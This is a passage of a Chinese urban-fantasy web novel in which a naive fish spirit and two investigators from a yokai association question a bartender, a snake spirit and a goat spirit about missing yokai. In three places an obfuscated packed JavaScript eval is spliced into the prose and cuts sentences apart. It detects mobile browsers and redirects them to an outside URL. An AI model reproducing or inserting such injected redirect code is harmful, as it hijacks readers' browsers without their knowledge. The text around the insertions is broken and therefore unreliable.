江元白看着这个在上班时间喝酒的家伙,心中无语,不过倒也没说什么,在秦巡旁边坐下来,道:“我不喝酒。” 余一安倒是兴致勃勃坐在了江元白旁边。 她晃着悬空的双脚,有些好奇地看向酒单。 说实话余一安也没喝过酒,她还有点想试试。 “你想要?” 江元白挑眉看她。 “想试试。”余一安乖乖地实话实说。 “这位小姐想喝什么?” 酒保调完秦巡的酒后,转而热情地招待余一安。 “嗯……”余一安把酒单翻来覆去看了好几遍,完全看不出来这都是什么。 “你以前喝过酒吗?”江元白在旁边问道。 余一安先是摇摇头,忽然想到什么,又皱着脸点点头。 在山上的时候,温再玄也不喝酒,他只喜欢喝茶,不过余一安不喜欢喝那个苦哈哈的叶子水。 她只见过熊三叔叔喝过酒,熊三叔叔可宝贝他那些酒了,根本不给别人碰的机会。 不过余一安以前倒是偷偷趁着熊三睡觉的时候,偷偷跑到熊三藏酒的地方去尝过。 但是一点都不好喝,又苦又涩,从此余一安再也不惦记熊三的酒了。 余一安回忆着那时候的味道,脸蛋皱巴巴的,一脸嫌弃:“好难喝。” 不过她瞧向秦巡手中漂亮的鸡尾酒,还有他脸上享受的表情,又有些跃跃欲试。 秦巡听到她的话,立即反驳道:“那是你喝过的不好喝。” “这位小姐要是没喝过酒的话,我推荐可以试试龙舌兰日出。” 酒保在一旁建议道。 “这款酒外表如朝霞般绚烂,味道酸甜清爽,很适合第一次喝酒的客人。” “那给我来一杯这个吧!”余一安决定试试这个。 “好嘞!”酒保说完就撩起袖子,开始调酒。 余一安双手托腮,一眨不眨地盯着他的动作。 酒保的动作行云流水,华丽又好看。 龙舌兰倒入高球杯,橙汁如朝霞倾泻,最后沿杯壁缓缓注入石榴糖浆,赤色在金黄中晕染出日出般的渐变。 “哇!好漂亮!”余一安看着面前的鸡尾酒,惊叹道。 杯身由黄至红缓缓渐变,如霞光浸泡,冰棱折射出粼粼金光。 像极了余一安本体的颜色,她第一眼看到就喜爱上了。 余一安学着秦巡的样子,迫不及待地抿了一口。 她感受着酸甜的味道在口中蔓延,双眼一下子亮了。 好喝! 鲜橙的气息裹挟酒香,石榴蜜香收尾,如热带朝阳在舌尖绽放。 余一安满足地眯起了眼。 江元白垂着眼,目光不动声色地观察了全程。 呵,没见过世面的傻鱼。 像是感受到了他的目光,余一安看过去,眼眸弯弯,推荐道:“好喝的!白白你也试试!” “不要。” 江元白摇摇头,酒精味只会让他想起不好的回忆。 “好吧。”余一安也没在意,继续喝自己的酒。 江元白看着她一脸陶醉,摇头晃脑的模样,不由得有点好奇是什么味道。 另一边的秦巡则开始和因为没客人而显得无所事事的酒保说起了话。 “小哥,”秦巡因为喝了酒,脸上有些泛红,“我记得你们这里之前不是有个唱歌很好听的,怎么不见了?” “你说的是莺九?”酒保问道。 “好像是叫这个名字。”秦巡又呷了口酒。 “我上次来的时候还在这呢。” “兄弟你上次来都几年前了吧。”酒保有点佩服他还能记这么久,不过想到是莺九,也就能理解了。 “是呀,这次路过正好进来看一下。” “没想到这么不巧,竟然刚好不在。”秦巡适时地流露出一点遗憾。 余一安坐在一边看着他活灵活现的演技,眼中满是惊奇。 江元白倒是一副习以为常的样子。 酒保笑道:“莺九两年前就被经纪公司签走做明星了,现在好像还挺火的。” “你要是真喜欢她的歌的话,可以去网上听。” “这样子啊……”秦巡叹了口气,“可惜就是不能在现场了。” “是啊。”酒保也开始回忆起莺九还在的那会。 莺九在酒吧驻场那会吸引来了好多人,连他的工资都翻了几倍,可惜莺九走了后,又回到了以前的水平。 酒保想到这里也想叹气。 “诶,哥们,”秦巡凑过去,悄声道:“你和莺九熟吗?” 酒保闻言,擦拭酒杯的手顿了顿,开口道:“还好吧,莺九性格和气,和大家都相处得来。” 他想起了莺九一开始来酒吧的时候。 他忽然压低声音,像是分享什么秘密似的凑近秦巡:“说起来,在莺九刚来酒吧之前,咱酒吧连个正经舞台都没有。。” 毕竟酒吧没啥客人,全靠老顾客赏饭,平时也只能勉强靠卖酒维持日常运转。 “后来有一天,老板直接把莺九带到我们面前,说莺九以后就是咱们酒吧的驻唱了。” “我一开始还不理解,还想着莺九是不是老板的哪门子亲戚。谁知道莺九确实有几把子实力,每天来酒吧的客人都挤满了。” “不得不说,老板还真有几分眼光。”他感叹着。 他有时候都在想老板啥时候再带几个这样的宝贝过来,让他工资能再涨点。 酒保看着秦巡认真听他讲话的样子,嘿嘿一笑道:“你要是真想现场听莺九唱歌的话,说不定等以后她开演唱会就能实现了。” “有机会一定去。”秦巡喝了口酒,同样笑道。 这时外面又来了两个客人,点了酒,酒保忙着调酒去了。 调查组将位置让给了那两人,悄然退到了角落里的卡座。 “你怎么看? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376604|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”秦巡神色严肃地问向江元白。 “没有什么异常。”方才的对话,江元白细细捋了一遍,并没有不对劲的地方。 和他们调查基本吻合。 “突破口应该在老板身上。”秦巡若有所思道。 江元白手指搭在装着白开水的玻璃杯上,发出清脆的碰撞声。 “酒吧老板的相关信息,最快多久能拿到?” 他们得尽快去从老板嘴里掏点消息出来。 “……”秦巡闻言半晌无语,最后叹了口气,道:“协会人手太少了,根本忙不过来。” 他眼前浮现了同事们顶着黑眼圈加班的样子,总感觉那几个同事身上的怨气,都快凝成实质了。 江元白一时之间不知道说什么好。 平时协会里这点人是完全够用的,只不过这突然的特殊情况,人手就开始捉襟见肘了。 余一安闻言,抿了口酒,不解地问道:“那为什么不多招点人?” “招人干活那都是要发工资的。”秦巡再一次在心里腹诽了协会账面上的余额,真的是岌岌可危。 可以说妖怪协会把每年的资金都利用到了极致。 如果不是每年有许漠的资助,他都有些怀疑协会能不能支撑到今天。 “不止经费问题,”江元白缓声给她解释道:“自古以来道妖殊途,愿意加入协会的道士屈指可数。” 到目前为止,妖怪协会的道士也就仅仅七位。 有两个还是和江元白一样的兼职,只偶尔来协会刷刷业绩。 “至于普通人,”江元白喝了口白水润了润嗓子,才继续开口道:“《超自然保密条令》有过明确规定,不得像公众透露非自然因素存在。” “所以,协会能够招收的普通人也是少之又少。” 这真是一个无解的难题。 “那为什么不让妖怪当员工呢?” 余一安忽然想到了一个点。 江元白闻言挑眉,诧异地看了她一眼,没想到这傻鱼居然没那么呆,竟然还能想到这个。 “也不是没考虑过,”江元白耐心解释,“但是协会需要的是经过系统训练的专业人士。” 他抬眼看向余一安,道:“大多数妖怪野性难驯,纪律涣散,难以服从管理,最关键的是他们没有相关专业知识。” 目前加入协会的普通人都是精挑细选过的高技术人才,那些妖怪来协会工作只会给他们添乱。 协会目前也仅有一位妖怪成员,数量比道士还少。 “唔,那为什么不教教他们?”余一安歪着头问道。 “这就又绕回到了一开始的经费问题。” 江元白摊手。 “好吧。”余一安瘪瘪嘴,但心里还是有点不服气。 他们妖怪也是从小学习的,还是很厉害的。 不过想到自己在山上常常逃课到处玩的日子,她又忽然有些心虚。 江元白饶有兴趣地看着她脸上如同调色盘一样丰富的表情,这时刚刚在酒吧里面转了一圈的秦巡回来了。 “你刚刚不是在这里吗?” 余一安顿时瞪大眼看他,她怎么没看到秦巡啥时候离开座位的。 “嘿嘿。”秦巡无辜地耸了耸肩,然后低声对他们道:“我刚刚看了,这酒吧里面都没有异常的地方。” “符咒也没有动静。” 这说明酒吧里面并没有道士或者妖怪的存在。 江元白抿唇,低着头陷入沉思。 看来只能从酒吧老板下手了。 希望不要出什么状况。 16. 喝咖啡的妖怪 装饰雅致的咖啡厅内。 余一安和江元白坐在角落里,一位穿着得体的服务员手拿菜单站在旁边。 “请问两位想喝点什么呢?” “一杯抹茶拿铁,谢谢。”江元白道。 余一安兴致勃勃的,接过菜单上上下下、反反复复看了几遍。 最终还是放弃了,转头选择向旁边的江元白求助:“白白,什么好喝呀?” 江元白闻言额角一跳,强行忽略掉她的称呼,他思考了会,考虑到余一安似乎更偏好甜口,他顿了顿,道:“焦糖玛奇朵吧。” 一旁的服务员见状,补充道:“焦糖玛奇朵可是咱们店的招牌呢,这位小姐姐可以试试哦。” “那就要这个吧!”余一安将手中的菜单还给对方,顺带附上了一个笑容。 “好的,二位请稍等!” 服务员踩着轻快的步伐离开了。 余一安坐在座位上,身体扭过来扭过去,两眼满是新奇地四处张望着,一副没见过世面的样子。 连天花板上各种造型的白炽灯和墙壁上的抽象画作都能瞧出个花来。 江元白看她一眼,总感觉有点丢脸,忍不住压低声音道:“坐好。” “哦……” 余一安闻言乖乖坐了回去。 然而没过三分钟,她又开始左晃晃右晃晃,眼珠子滴溜溜地乱转。 江元白额角青筋突突的,总感觉自己像带着小孩出门的家长。 只不过这小孩比他还大。 最后江元白选择默默离她远了点。 忽然,清脆的风铃声响起。 有人进来了。 一人一妖抬头看去,是一个长得很好看的男人。 头发很长,薄薄的眼皮半耷着,如同没睡醒一般。皮肤白得有些透明,浑身像是没骨头似的,透着一股懒散的劲。 对方朝着他们的方向走了过来。 这个男人是他们今天的目标。 昨天晚上的时候,妖族那边按时送来了名单。 通过一番排查后,他们找到了两个可疑对象。 一个是目前出现的这个蛇妖,佘青。 佘青在四年前第一次申请下山,然而实际上他已经在人类社会生活五年了。 资料上显示他是在人类社会生活了半年后才回到妖族办理下山程序。 当然妖族也是在佘青自己坦白后才知道这些的。 在知道接二连三的妖怪失踪后,佘青主动向妖族说出了自己的经历。 但若不是他自己主动坦白——他们很难知道到底有多少妖怪是提前下山。 目前已知佘青一个。 至于剩下的妖怪到底如何,还得他们一个个地询问。 还好,之前的撤离通知下大部分的妖怪都已经离开了人类界,只剩下了六位妖怪怎么都不肯走。 佘青是其中一个。 另外一个重点对象是一个鹿妖。 对方在五个半月前申请下山,然而经过妖族搜查后发现,山上并没有这位鹿妖的踪迹。 鹿妖的朋友都表示鹿妖在五个半月前就说自己要下山,临走前还对他们一一道别。 也就是说,鹿妖已经在人类界呆了近半年。 而目前的受害者名单上并没有她的名字,谁也无法确定鹿妖是否已经遭遇不测,但是尚未被发现。 就目前而看,蛇妖和鹿妖是最有可能成为作案者下一位选择下手的目标。 因此,他们今天的目标便是从佘青口中得到有效信息以及劝离对方。 男人在他们座位面前做了下来,撩起眼皮,露出漆黑的双瞳:“佘青。” 江元白挑眉,心道还挺有个性。 他客气颌首,道:“江元白,妖怪协会员工。” 余一安见他们都做了介绍,于是也迫不及待地开口:“我是余一安!” 还没等她说下一句,对面的蛇妖恹恹地说了句:“我知道你。” “你是余若的女儿。” “我知道我娘?”余一安睁大眼,兴奋地望过去。 “嗯。”然而佘青却没有多说。 余一安见状心里有些失望,不过对方看起来一副生病了的模样,她还是不要打扰他了。 “你们想知道什么?”佘青垂着眼看着桌面,声音依旧有气无力的。 江元白也没有详细解释,直接开门见山。 “你在下山后的那半年有没有遇到一个妖怪?” “没有。” 佘青十分缓慢地摇了摇头。 “那你下山后怎么生存下来的?” 江元白心想,不会也像莺九一样捡垃圾吃吧。 对于这个问题,佘青像是来了兴趣,终于挺起腰抬起头,露出一个甜蜜又略显怪异的表情。 “当然是,我家亲爱的养的我。” 不知怎么的,江元白总感觉从对方这句话里面听出了一丝显摆的意味。 他怪异地扫了对方一眼,继续问道:“你认识一个三尾猫妖吗?” 见江元白没有继续追问方才那个话题,佘青顿时神色透出点失望,稍微挺直的腰又弯了回去。 “不认识。”死气沉沉的声音。 江元白面色如常,心里却吐槽着这妖怪看上去有点不是很正常的样子。 这么一看某条鱼也就只是傻了点,土包子了点,吃的多了点……除了这些其他的都还好。 果然人与人之间是对比出来的,妖也一样。 “据我所知,妖族周围都有结界,那你是怎么自己下山的?” 江元白双眼紧盯着对方,不放过一丝一毫的细节。 对方闻言连眼皮都没眨一下,仍旧一副说话很困难的样子:“我跟着出去的。” 说到这里,他终于抬眸看了江元白一眼,缓缓开口:“是个狸妖。” 江元白一怔,狸妖? “黎宿?”这是在失踪名单上的一个狸妖。 佘青慢吞吞道:“是他。” 他看起来很艰难地回想了下,道:“身边还有个黄鼠狼。” “他打开的结界。” “黄鼠狼?”余一安听到这个妖怪总感觉有些熟悉。 江元白表情则凝重起来,道:“是妖怪吗?” 对方点头。 一边的余一安总算在记忆里面扒拉出来一点印象,道:“我好像知道那个黄鼠狼。” “莺九和我说过。” 江元白看向她,等她解释。 “她说小鹿儿山上有只黄鼠狼,”她眨着眼回忆道,“修炼了好多年,快化形时就去找了个人类‘讨封’。” 讨封就是黄鼠狼特有的修炼法门,在他们修为到达一个点后,就会去问人类自己像不像人。 江元白眼眸微动——这“讨封”要么成要么败,成则化形,败则道消。 “结果如何?”他追问道。 “失败了,那人说了句‘像黄皮条子。’” 余一安挠挠头,有些为对方惋惜道:“后来黄鼠狼为了快点把修为升上去,经常在山上和大家做些买卖,换一些能提升修为的东西。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376605|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她感觉那个黄鼠狼应该就是她知道的那个。 听到这个故事,江元白垂下眼,陷入思考。 据说黄鼠狼喷出的气体具有腐蚀结界的功效,再加上这个黄鼠狼对修为提升的迫切,那么极有可能干出这种事来。 “您好,二位的咖啡。”服务员的到来打断了他的思路。 “谢谢。” 江元白捧起咖啡呷了口,就看到一旁的服务员站在一旁还没走,抬起头问道:“还有什么事吗?” 这个服务员似乎不是刚刚那个。 服务员本来有点愣神的样子,听到他这句话脸上一热,立马反应过来道:“抱歉,我看您这边多了位客人,不知道这位客人有什么想喝的吗?” 她微笑着地将菜单递过去,然而心中却十分激动。 果然和小圆说的一样,真的好帅啊啊啊,这脸蛋、这身材、这声音,简直是极品! 旁边的小姐姐也好可爱,还有那个新来的小哥哥也好好看。 呜呜呜果然帅哥美女都是凑一堆的。 江元白总感觉这个服务员怪怪的,他不动声色地低头看了看符咒——没动静。 应该是他想多了。 佘青本来对咖啡没兴趣,忽然不知道想起了什么,懒洋洋道:“生椰拿铁,打包。” “好的,请您稍等。” 服务员恋恋不舍地离开了。 她心里惋惜道怎么就不能多看一会儿呢。 余一安没注意他们这里的事情,所有注意力都被眼前那杯咖啡吸引去了。 精致的陶瓷杯里,一只可爱的兔子浮在香浓的咖啡上,看上去十分精致。 余一安左看看右看看,喜欢极了,她都有些不舍得喝了。 不过最后还是对咖啡味道的好奇占据了上风,她捧起咖啡尝了一大口。 唔……好喝,就是有点苦。 她皱了皱鼻子,砸吧砸吧嘴回味了一下。 好怪哦,再来一口吧。 江元白注意到她的动作,总感觉他们喝的好像不是同一种东西似的。 小插曲结束,调查继续。 “能说一下你为什么要跟着下山吗?” 他看向佘青。 佘青看上去似乎快睡着了:“无聊。” 说实话江元白看着他这副连话都懒得说的样子,十分怀疑这句话的真实性。 不过佘青没有理会他的怀疑。 爱信不信。 不信拉倒。 反正他说的是真的。 江元白倒也没有追着这个不放,他继续问道:“那你为什么要主动坦白?” 在他看来,这件事好像对对方来说并没有什么必要。 尤其是从他接触对方的这段时间来看,对方应该不太像是会关注这些的妖。 佘青听到这个问题叹了口气,道:“我不想回山上。” “希望你们能快点把这件事解决。” 他担心他哪天也忽然失踪了,她会难过的。 江元白看了他好几眼,忽然问道:“能问一下你现在的工作吗?” 佘青掀开眼皮,终于露出了进店以来的第一个笑容,他裂开嘴,语气带着几分得意:“吃软饭。” 江元白差点控制好表情管理。 他怎么感觉,这条蛇妖在隐隐地跟他炫耀? 炫耀什么? 炫耀吃软饭? 江元白面目表情,江元白心中不屑。 他没有吃软饭,是因为他不能吗? 那是因为他胃好。 17. 力气超大的妖怪 “能说下为什么你半年后又回去申请办理手续了?” 江元白正了正神色,将话题拉回正轨。 佘青闻言抿唇,面上竟透出了几分羞涩:“结婚要用身份证。” “……” 江元白只感觉有些无力,他怎么觉着这蛇妖是个恋爱脑的样子。 “结婚证是什么?” 余一安有些好奇问道。 “是和亲爱的在一起的证明啊。”佘青回答了他的问题,笑容透露出一点甜蜜。 “哦……” 余一安似懂非懂。 “别听他乱讲。” 江元白非常无语,连忙出声防止对方带坏小孩。 虽然这小孩已经快一百岁了。 他没管对面已经陷入回忆、面色微红的蛇妖,脑子思绪飞快转着。 如果佘青并没有见过那个中介妖的话,这说明目前危险最大的是那个他们并不知道还在哪里,甚至不知道是否遇害的鹿妖。 嗯……这就难搞了。 不过好歹有了一个重要线索。 他抬起头,对佘青开口道:“对了,建议你尽早离开人类社会。” “否则出了任何事妖怪协会概不负责。” 妖怪协会只负责查案,但是并不负责这些妖怪的人身安全。 只不过若是再来几个妖怪遇害,确实会对他们的工作造成更多麻烦。 于情于理,他们都得再三劝告一下。 当然,若是这些妖怪们执意不听劝告,协会也没什么办法,就算出了事也是他们自己的选择。 毕竟都是成年妖了,得为自己做下的决定负责。 妖怪协会已经非常尽责地劝告过这些妖怪,听不听都随他们自己。 “我不走。” 意料之中,佘青拒绝了。 “行吧,”江元白点点头,准备结束对话,他实在忍受不了这个妖了,“那我们今天的询问差不多就这样,感谢你的配合。” 佘青闻言终于有了点精神。 他慢吞吞地站起身,拿起打包好的咖啡,以一个比来时稍快一点的速度离开了。 剩下一脸疲惫的江元白和一口接一口喝着咖啡的余一安。 江元白无力地靠坐在椅子上,问一旁的余一安,“你们山里的妖怪都这样的?” “哪样啊?”余一安不是很明白他的意思。 像个神经病一样。 不过江元白并没有那样说,他修改了下措辞,委婉道:“行为有点怪异?” “唔……”余一安抬起头回忆了下,道:“还好吧……有些妖怪修为不精就可能会出现这样的情况。” “山里有只浣熊妖总觉得自己是一条鱼,一心想要在水里吐泡泡。一只乌鸦妖喜欢不停地把石头丢进一个瓶子里面,还有一只鸭子妖,总是莫名其妙地到处哈哈大笑。” “这些都还好啦,”余一安不知道想到了什么,瘪瘪嘴道:“住在我家东边的虎妖大哥,老是拉了粑粑不埋,老臭了。” 她想到了那个场景,一脸嫌弃。 “……” 江元白一时不知说什么。 不是,你们妖怪都这么随意的吗? 在这之前,他感觉他认识的妖怪都还挺正常的。 怪不得妖族下山还得办手续呢。 要是随随便便放几个下来,还不得分分钟送进精神病院里面去。 江元白忽然不知道想起什么,看起来竟有几分踌躇的模样。 他欲言又止,止言又欲,最后看似一脸随意地问道:“你认识一位狐妖吗?” “狐妖?”余一安挠挠头,道:“狐妖都不在小鹿儿山上,他们在青丘山,不归妖族管。” 还没等江元白说什么,她像是想起来什么道:“不过我听说山上好像确实有个狐妖。” 江元白闻言一怔,连忙追问。 余一安没注意到对方的表情,以为是案情有什么发现,大大咧咧地开口:“好像是受伤了,在后山里养伤。” “不过我也是听别的妖说的。” 她也不确定这个传言是不是真的。 听到这里,江元白没再说话,只是垂着眼,看不清他的神色。 余一安没注意到对方的表情,端起杯子把最后一口咖啡喝掉,浓稠的咖啡苦得她龇牙咧嘴。 “好苦好苦……呸呸呸!” 怎么这么苦?刚刚都没这么苦的。 她脸蛋都皱成了一团,吐着苦哈哈的舌头,心里充满了疑惑。 “……我们走吧。” 真是条傻鱼。 江元白看着她这副憨呼呼的样子,心头的沉重终于散去了点。 …… 接下来的时间他们又接连去找了给人当宠物的狗妖、在网上当素食吃播的豚鼠妖、处于热恋中的兔妖和在工地搬砖的牛妖。 然而全都一无所获。 最后一个妖怪是山羊妖。 资料上说这个山羊妖是在网上工作证,因此也就是居家办公。 余一安和江元白站在门前,敲了敲门。 一分钟过去了。 无事发生。 “不在吗?”余一安疑惑。 江元白眯了眯眼,再次伸出手敲门。 然而眼前的门依旧紧紧关闭着。 江元白最后退后一步,看向一旁的余一安:“你来。” “力气大一点。” “哦哦好。”余一安愣愣道,不过还是有点明白:“多大?” “最大吧。”江元白心想这什么问题,随意答道。 余一安闻言乖乖道:“好。” 她站在门前,抬起手,鼓足劲,用自己最大的力气往门上一拍。 随着“砰”的一声巨响后,门塌了。 门后一双眼睛和他们大眼瞪小眼。 “你……你们……” 那人,应该是那妖瞪大了眼,哆哆嗦嗦的,待反应过来发生了什么,脸一瞬间红了。 气的。 随后,一阵震耳欲聋的国骂噼里啪啦地从他的嘴里飞了出来。 余一安“刷”的一下捂住耳朵。 大祭司不让她听这些。 江元白面色如常,实际上脑子在门倒下的那一刻已经宕机了。 听了这一连串的芬芳后,他终于回过了神,面色一沉。 “闭嘴别叫了,门会赔你的。” 骂这么脏,带坏小孩。 他心里想着。 他看着捂着耳朵的余一安,眼中闪过一丝好笑。 “你们把我门都掀了,态度还这么嚣张?!” 对方看着他们,颤颤巍巍的,一脸不可置信。 不过不知道想到了什么,他正了正神色,最终还是闭上了嘴。 臭着脸不情不愿道:“你们找我干什么?” 听了他的话,余一安看着倒下的门,眨巴着眼,面上有些不好意思。 她也不知道这门稍微一拍就倒下了啊。 江元白也是才知道她力气竟然这么大,看来那些饭还是没有白吃的。 他面色稍缓,拿出自己的证件给对方看:“妖怪协会,麻烦配合一下。” “妖怪协会就能这么猖狂?” 羊妖黑着脸,侧过身,让他们进去。 余一安和江元白踩着倒下的门走了进去。 羊妖看到这个景象又想骂人了,他脸上神色一番变化,最后还是忍住了。 江元白不动声色地将一切收入眼中,眸中若有所思。 这羊妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376606|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来好像有问题啊。 落座后,江元白看对方敢怒不敢言的模样,先发制人:“你是杨山?” “是我。” 接下来,他又问了之前问佘青同样的问题。 羊妖都答不知道,一脸茫然。 江元白心下微转:难道是他想多了? 随着不停地提问,羊妖最后没忍住,吭吭唧唧地别扭问道:“所以……你们不是来带我回妖族的?” “带你回去干嘛?”余一安不解,反问道。 “……”江元白一时无语。 原来这就是这个羊妖行为怪异的原因吗。 “你为什么不想回去?”他没忍住问了下。 见他们似乎真的不是来带走他的,羊妖松了口气,一改之前的别扭模样,瞪了他们一眼:“不早说。” “你没有问呀。”余一安不满了,反驳道。 “……哼。” 想到对方一巴掌把门拍塌了的场景,羊妖怒了半天,最终还是憋了回去,只不甘地哼了声。 “关你们什么事?” 不过对于江元白他可不怕,转过头对着对方呛了一声。 江元白顿时差点被他对人下菜碟的行为整笑了。 他倒也没太在意,毕竟以前更难听的话都听过。 羊妖到底还是有点担心,犹豫片刻,还是说出来了自己不想回去的原因。 前面说了,羊妖的工作是在线上服务。 不过他接的不是普通的委托,而是为委托人提供骂人服务。 没错,就是那种骂人都有钱拿的工作。 羊妖从小便性格暴躁易怒,最大的爱好就是口吐芬芳。 虽然每天都有不同的事让他生气,可惜自身实力太过弱小,以防挨打,他从来只能将这份爱好深深地埋藏在心里。 后来,羊妖从山下回来的妖怪那里听说,那里的人类个个都是人才,说话又好听,听得他蠢蠢欲动。 于是羊妖等手续办好就迫不及待地下了山。 下山后他才知道世界是那么美丽,空气是那么鲜甜。 他第一次体会到了骂人骂了个爽的感觉。 这种感觉让他为之着迷。 而且在这里骂人还能赚钱,简直是为他量身打造的工作。 换成谁都不舍得离开这里回到天天忍气吞声的妖族啊。 听完羊妖的解释后,江元白面色复杂,一时之间不知道说什么好。 果然妖族里的妖似乎都不太正常。 他再次扫了眼一旁满脸惊叹的余一安,心道幸好他的队友不是这种奇葩。 不然他真的会疯掉。 余一安对视线比较敏感,她顺着目光看过去,就看到了江元白线条优美的侧脸,透着阳光还能看到细细的绒毛。 她正经又认真地欣赏着对方的脸蛋。 不得不说,除了温再玄,江元白是她见过最好看的人了。 江元白身体越发僵硬,强行让自己忽略掉那个存在感有些过强的视线,干硬地对羊妖开口:“我们来这里确实有劝你回去的目的。” 看着羊妖脸色一僵后,他才继续道:“不过既然你不想回去,我们也没必要强迫你。” 随后他又照例讲了最近失踪案件的发生,并且提醒对方谨慎一些。 羊妖本来不以为意,但是在知道人类社会就仅剩下几个妖怪后,顿时面色变了。 他面色变换扭曲了好几瞬,半晌对江元白他们道:“算了,我还是回去吧。” 爱好诚可贵,生命价更高。 命都没了,谈什么爱好。 江元白面色沉沉,看来最后这一趟他们依旧没什么太多收获。 一人一妖正准备打道回府,在临走前,羊妖忽然叫住了他们。 18. 吃臭豆腐的妖怪 他们回去的时候,秦巡已经等了他们一会儿了。 看到他们回来,秦巡停下手中的笔,问道:“情况怎么样?” “有点线索。” 江元白累了一天,直接丢了一句“等会说”就径直去了浴室洗澡。 只剩下秦巡和江元白在客厅,大眼瞪小眼。 余一安先没忍住,窸窸窣窣地凑过去,问道:“你吃了吗?” “?” 秦巡不理解她为什么这么问,但还是回答了她的问题:“吃了。” 余一安点点头,然后就看着他不说话了。 秦巡没忍住,问道:“你为什么要问我吃了吗?” 然后他就看见余一安挠挠头,憨憨一笑:“我饿了,你要是没吃我就可以和你一起去吃了。” “……” 秦巡顿时沉默了会儿,然后对她道:“饿了你可以点外卖。” “点外卖是什么?” 秦巡这才想起来她只是个第一次下山的妖怪。 他眉毛一扬,道:“外卖是这个世界上最伟大的发明。” “我都是靠外卖养活自己的。” 不能想象这个世界上要是没有外卖,他该是一个多么脆弱的小男孩。 余一安睁大眼,惊奇道:“哇!真的吗?” “那我也要点外卖!”她蹦了起来,有些兴奋。 “你手机上下载个外卖软件就可以了。” “什么软件?” 余一安一边心里琢磨着,一边飞奔到自己屋子里拿了手机又跑了过来。 她把手机递过去,期待地看向秦巡。 大眼睛眨呀眨的,写满了“快教我快教我”。 秦巡看着她拿过来的手机,心想这世界上居然还有不沉迷手机的人。 真的佩服。 他接过手机,然后熟练地点开软件商店,找到了那个黄色软件。 秦巡手上动作十分熟练地下载注册登录一条龙后,顺手把手机递回给余一安,说道:“你看看自己喜欢吃什么,然后付钱就行了。” “怎么付钱?”余一安不解。 秦巡一愣,回想了下,问道:“你手机绑定银行卡了吗?” 余一安点点头。 前两天江元白就趁空带她去了银行,将身上的现金都存了进去。 顺便也绑了手机银行。 不过余一安还没用过,也不知道怎么用。 “你直接用密码付款就行了。” 秦巡摊靠在椅子上,揉捏着自己酸涩的肩膀,随意地回答。 今天坐得太久,他感觉自己已经废了。 余一安乖巧点头,目光在手机上游移,没一会儿就点好了自己想吃的东西。 在秦巡的帮助下磕磕绊绊地付完款后,接下来就只需要等待外卖的到来了。 余一安坐在椅子上,有些兴奋地坐不住,左晃一下,右晃一下。 她觉得得先找点什么事做。 于是她打开了绿泡泡软件,先是熟练地给江元白的聊天框里发了个问号。 往上翻,他们这几天加起来发的已经有十多个问号了。 甚至江元白的备注都被余一安气不过地改成了一个光秃秃的问号。 接着她打开和许漠的聊天页面。 可惜除了上次的聊天记录,对方再也没有找过她。 余一安鼓了鼓腮帮子,有些不开心地关上了手机。 她的娘亲在她化形之前就离开了,在她的眼里,她娘亲是世界上最厉害的人。 她想知道娘亲的经历过的事情。 余一安的梦想就是成为和娘亲一样厉害的人。 想了想,心里的渴望让她又打开了手机,给许漠发了一句话。 【小鱼呀:你忙完了吗?】 等了一会儿,对方也许太忙,并没有理她。 余一安单手托着下巴,叹了口气。 秦巡不经意瞧见她这个模样,心想原来妖怪也有发愁的事情。 他颇感兴趣地问道:“怎么了?你这是遇到啥困难了?” “说出来让我笑笑。” 余一安瞥了他一眼,一副讳莫如深的样子,摇摇头:“你不懂。” “?” 秦巡一时无语,心道你个小妖怪还有啥我不懂的事情。 不过对方不想告诉他,他也不至于一直不知趣地追着问。 于是室内又重回安静。 也许是余一安点的外卖比较近,很快外卖就到了。 她把外卖一个个摆在桌子上,摆成了一排。 “一、二、三……八!” 余一安咧着嘴乐呵呵地数着,一排总共八个盒子整整齐齐放在上面。 秦巡见到她点了这么多东西见怪不怪,这几天他对余一安的食量已经习以为常了。 余一安兴高采烈地把外卖盖子揭开,顿时一股怪异的味道从盒子里幽幽地散发了出来。 秦巡轻轻耸动鼻子。 他皱眉,这味道…… “咔哒。” 浴室门开了。 江元白洗完澡一出来,就看到了八个盒子排放在他家的桌子上。 盒子里散发着一股奇臭无比、极其浓烈的味道,而这个味道已经占领了他一整个屋子。 江元白霎时瞳孔巨震,感觉两眼一黑。 “余一安!!!你在干什么!!?” 他就洗个澡的时间,一出来就看到了这条傻鱼在他的家里吃臭豆腐! 在他的家里!! 吃臭豆腐!!! 江元白一时间感觉他的天快塌了。 余一安闻言抬头,咧开嘴,对他露出一个无辜的笑。 “我在吃臭豆腐。” “你也要来点吗?” 她热情地邀请对方。 “……” 江元白一时间快被她整笑了。 